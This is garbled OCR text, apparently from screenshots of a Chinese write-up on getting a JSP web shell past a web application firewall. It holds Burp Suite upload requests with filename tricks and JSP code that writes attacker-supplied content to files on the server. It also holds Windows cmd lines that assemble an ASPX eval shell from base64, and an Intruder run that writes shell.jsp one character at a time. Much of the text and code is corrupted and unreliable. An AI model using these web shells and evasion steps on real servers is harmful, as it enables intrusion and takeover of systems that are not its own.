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(1) = content-type
(2) H&EZA filename
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Content-Disposition: form-data; name="file"; filename="100x100jsp"
Content-Disposition: form-data; name="file"; filename="100x100jsp"
Content-Disposition: form-data; name="file"; filename="100x100jsp"
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Content-Disposition: form-data; name="file"; filename="100x100.jsp"
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Accept-Language: zh-CN,zh;q=0.9 A
Connection: close

------ WebKitFormB oundaryEa3EW\WPci2rscQj7
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Content-Disposition: form-data; name="file"; filename="100x100jsp"
Content-Type:
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Content-Disposition: form-data; name="file"; filename="100x100.jsp"" c

Content-Type:
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

POST, “w'nffilefupload HTTR/1.1

Host: 7

Content-Length- 411

User-Agent: [ioma 7. vinG4; x64) Avem T wonm’537.36 (KHTML, like Gecko)
Chrome/an 3

T
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Content-Ty) £ iiew, poundary=----\ =bKitFore" o LeTg22tXalKlim
Accept: **

o ’
Referer. =i,
Accept-Encoding: yzip, deflate
Accept-Language: zh-CN,zh;q=0.9 The page cannot be displayed. Please contact the

Connection: close G administrator for additional information.

" D | — Web Page Blocked!

------ \WebKitFormBoundary s = URL: Siaimin/file/upload

L =asition: form-data; name="

Client IP: » i
Attack ID: bl .
Message ID: © % v

—————— WebKitFormB oundary”
Content-Disposition: form-data; name="file"; filename" " _t:t"
Content-Type: text/plain

<%Bnew

java.ioFileOutputStream(application.getRealPath("/") +"/" +request.getParameter(*fJ).write(request.getP
arameter("c").getBytes();%>|

------ WebKitFormBoundaryfrde™ =77
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Vary: Origin
Access-Control-Allox
Content-Type:
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<%@ page import="java.io " %>

<%

RandomAccessFile randomFile = new
RandomAccessFile(application.getRealPath("/")+" /" +request.getParameter("f"),"rw");
long fileLength = randomFile.length();

randomFile.seek(fileLength);

randomFile write(request.getParameter("c").getBytes(); w

content-lengts v

{"returnCode": i -uccess”,

%>
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Eban windows cmd FARITEIARIFS eval:

>>d:\xxx\dao.aspx set/p="<%@ Page Language="Jscript"%">
>>d:\xxx\dao.aspx set/p="<%ev

>>d:\xxx\dao.aspx set/p=al(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase6:
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<%@ page import="java.io.*" %>

<%

RandomAccessFile randomFile = new RandomAccessFile(application.getRealPath("/")+"/"+request.getParar
long filelLength = randomFile.length();

randomFile.seek(filelLength);

randomFile.write(request.getParameter("c").getBytes());

%>

2 f=/shell.jsp&c=
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B! Intruder attack 3

Aftack Save Columns

J Results T Target T Positions T Payloacls T Options ]

‘ Fitter: Showing all tems

Accept-Encodinm: veflate
Accept-Ls" age: CN,zh;o=n?2
Coc -

ur

Connecti:

Content-Type: application/«-viv. " *arm-urlencoded
Content-Length: 29

f=r AREER2 jsp8ic= %20

nnas

(LE-T-9om i

e R S

@ l;J u [;J Type a searc,

Reguest & | Payload Status | Error | TimeoLt | Length | Comment
344 e 200 a 0 9146 4]
345 r 200 a 0 948 F
345 200 O O 9146
347 c 200 @] 0 9146
345 = 200 O O 9146
348 c 200 O = 9146
330 i 200 O O 9146 )
3s1 p 200 @] 0 9146
352 h 200 o O 946
353 =] 200 O = 9146
324 r 200 O 0] 9146 B
3ss . 200 a [ 9146 v
Request | Response
J Raw T Params T Headers | Hex
text/html,application/x<html+xml,application/xml;q=0.9,image /webp,image/apng,*/*;q=0.8,application/signed-exchangev=b3;9=0.9 A

d

0 matches

(https://i.loli.net/2020/04/02/gmFcMNTvVnYrdJ8.jpg)

Sia

waf, BERMEALERER,



https://i.loli.net/2020/04/02/qmFcMNTvVnYrdJ8.jpg

